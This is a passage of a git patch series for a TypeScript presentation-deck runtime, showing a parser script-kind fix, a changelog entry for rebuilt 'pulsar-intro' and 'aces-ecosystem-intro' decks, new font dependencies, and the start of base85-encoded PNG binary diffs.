(!isExcluded(full)) out.push(full); } } @@ -129,7 +152,23 @@ export function lineText(sourceFile: ts.SourceFile, lineIndex0: number): string * position and parent-shape predicates work. */ export function parseSource(text: string, file: string): ts.SourceFile { - return ts.createSourceFile(file, text, ts.ScriptTarget.Latest, /*setParentNodes=*/ true); + return ts.createSourceFile( + file, + text, + ts.ScriptTarget.Latest, + /*setParentNodes=*/ true, + scriptKindForFile(file), + ); +} + +function scriptKindForFile(file: string): ts.ScriptKind { + const lower = file.toLowerCase(); + if (lower.endsWith('.jsx')) return ts.ScriptKind.JSX; + if (lower.endsWith('.tsx')) return ts.ScriptKind.TSX; + if (lower.endsWith('.js') || lower.endsWith('.mjs') || lower.endsWith('.cjs')) { + return ts.ScriptKind.JS; + } + return ts.ScriptKind.TS; } // --- Line-scoped exemption parser ------------------------------------- From 459c8bbe818c57f80580d541759a0b13a348dcf1 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 30 May 2026 07:58:58 +0200 Subject: [PATCH 07/29] attempt sequence fixes --- changelog.d/+aces-pulsar-decks.added.md | 20 + package.json | 5 + pi-after-end.png | Bin 0 -> 61603 bytes pi-outro-end.png | Bin 0 -> 61603 bytes pnpm-lock.yaml | 40 + src/decks/aces-ecosystem-intro/composition.ts | 65 + src/decks/aces-ecosystem-intro/content.ts | 1495 +++++++++++++++++ src/decks/aces-ecosystem-intro/index.ts | 18 + src/decks/aces-ecosystem-intro/styles.css | 433 +++++ src/decks/pulsar-intro/composition.ts | 45 +- src/decks/pulsar-intro/content.ts | 1228 ++++++++++++-- src/decks/pulsar-intro/index.ts | 10 + src/decks/pulsar-intro/styles.css | 468 ++++++ src/main.ts | 28 +- src/runtime/scene-loader.ts | 87 +- src/runtime/timeline.ts | 222 ++- src/runtime/workbench-chrome.ts | 15 + src/system/chrome/atmospheric.css | 24 +- src/system/chrome/slots.ts | 8 +- src/system/presenter/bridge.ts | 14 +- src/system/presenter/keyboard-source.ts | 8 +- src/workbench-graph.ts | 17 +- tests-e2e/aces-ecosystem-navigation.spec.ts | 54 + tests-e2e/pulsar-intro.spec.ts | 12 +- tests/runtime/scene-loader-chrome.test.ts | 115 +- .../screenshot-determinism-source.test.ts | 47 +- tests/runtime/timeline.test.ts | 41 + tests/runtime/workbench-chrome.test.ts | 32 + .../system/aces-ecosystem-intro-deck.test.ts | 70 + tests/system/presenter-bridge.test.ts | 18 +- tests/system/presenter-keyboard.test.ts | 8 +- tests/system/pulsar-intro-deck.test.ts | 23 +- vite.config.ts | 1 + 33 files changed, 4347 insertions(+), 324 deletions(-) create mode 100644 changelog.d/+aces-pulsar-decks.added.md create mode 100644 pi-after-end.png create mode 100644 pi-outro-end.png create mode 100644 src/decks/aces-ecosystem-intro/composition.ts create mode 100644 src/decks/aces-ecosystem-intro/content.ts create mode 100644 src/decks/aces-ecosystem-intro/index.ts create mode 100644 src/decks/aces-ecosystem-intro/styles.css create mode 100644 src/decks/pulsar-intro/styles.css create mode 100644 tests-e2e/aces-ecosystem-navigation.spec.ts create mode 100644 tests/system/aces-ecosystem-intro-deck.test.ts diff --git a/changelog.d/+aces-pulsar-decks.added.md b/changelog.d/+aces-pulsar-decks.added.md new file mode 100644 index 0000000..76cdb47 --- /dev/null +++ b/changelog.d/+aces-pulsar-decks.added.md @@ -0,0 +1,20 @@ +Rebuilt both reference decks with bespoke per-deck CSS rather than the L2 +template kit. `pulsar-intro` is now an editorial, two-surface deck +(near-black + paper) demonstrating the runtime to a presentation author +who has never seen Pulsar; `aces-ecosystem-intro` is a standards-body +briefing register grounded in citations to `aces-sdl/` and the F1 +literature review. + +Added timeline-owned active segment reporting to the workbench. Presenter +scene navigation now moves by an explicit segment cursor; `ArrowRight`, +`PageDown`, `ArrowLeft`, and `PageUp` keep the visible scene and +`data-pulsar-scene-target` aligned without relying on GSAP callback replay +after seeks. + +Extended the trailing tween on each deck's last scene so the composition +master never reaches its natural end. Advancing past the outro now holds +on the final scene with a clear `end · N of N` folio instead of tearing +all scenes down and showing a blank stage. + +Made cinematic chrome atmosphere composition-opt-in and fixed presenter +session entropy on non-secure Tailscale HTTP origins. diff --git a/package.json b/package.json index 0d38025..cccbf64 100644 --- a/package.json +++ b/package.json @@ -34,6 +34,11 @@ "yaml": "^2.9.0" }, "dependencies": { + "@fontsource-variable/geist": "^5.2.9", + "@fontsource-variable/geist-mono": "^5.2.8", + "@fontsource-variable/inter": "^5.2.8", + "@fontsource-variable/jetbrains-mono": "^5.2.8", + "@fontsource-variable/source-serif-4": "^5.2.9", "gsap": "^3.15.0", "howler": "^2.2.4" }, diff --git a/pi-after-end.png b/pi-after-end.png new file mode 100644 index 0000000000000000000000000000000000000000..e89b4062cbfabcdc38e4930ec2daa2d0a67393cc GIT binary patch literal 61603 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

LN#IdZp|dDZ7O%yXBykwl;;LNSu=VJFe`H7 zW=%{y6s@~X>ARQw@I1iTEKIm-RoVvt1EyHW$7Q~!#aEC>#G281*BxvWhEia>t6goc zUOsK3sg%@J2{$Wo=L7{7GBO1bD`JS3aJ|Vt#7eYb?piL91g_$@rY@XG)Z@FUa1shD zTLlGDeME_`dGH#8K-a##t$-{Rhxe=XY9arWk<^~B?C;-TaiV?TWD8`!hL+5mP*JFL z->0&t2aKmQ{J!UG2|*(zNLur)*)(Dnf*S>v2jq!~$`D<#fmR0l0GhG=YMQP-8L}vG zMYja?^RVj!80W&)IrS8F7|9lrL;%ke>mSI4-ZoT=GYE(PsP0Qs`k2){%^+-G%%qWh z_)Y2{QndKrC)`w7wvXvD58KA)8rT_=z;Q(d5?tsxJdcd=?#lyGTK5bpDthSeQyiLv zR#HeHU(Qd7h655Z2{ygRC2>q$&9X56%@bpzqDBSfl}JB@hD-X zM&G-Y4Mir-G#-DN3Rj-^%Gn<^_0A=dARD1e$#N9=POJU6OvsV^GYLDthfoS7nJFq9 zLq{%Z13Mjgpr7o6HyxeBImd}n%+MJ|{#t#So{v$bzTebRvO z`{4+9O*N-)elj&EVO@r0foj)KosG|26*k*o!ry4}F^k<<48!YkqL^{3FYe(N#mXkR zD>ha0Ts`~@G}mznNO@R*H!jcST(oW@te z%>KgrxVujxo?(!CS|3fTJ7(h> z8sKA4(+X_f94uDRtWi1ILbdR`#Ws7f@*;3UOVcf{?no2zi}=_vd2ExQYOqP&zRfq~ za~G+E`~cv<~%Kp@-^+viNIO%lNdxDli$wkYal6$^K#v!rM zgRLDa5ikwlv`08t;Y^e*UOm0FxY6eSqbgJ(M3aNly(QjvvW7Eh>-d^%kQn z&;Kuf;b5gm8nEkB?T3k#Ghc|y)&sPx4HX;+K_P?{fs>ikAE4Hku;XcJzhUB$(sv^h z`8ZZ*VS%`ABGNuIW>{=j0v&J=i#1^GGy$7xJavRIl80fXh)xwfh)a%CCn_e^e^K&? zpd-;ka#P3VtO_3En%Wa}^~jI~jI-%J*vrU1}H-XH4)6%euVh 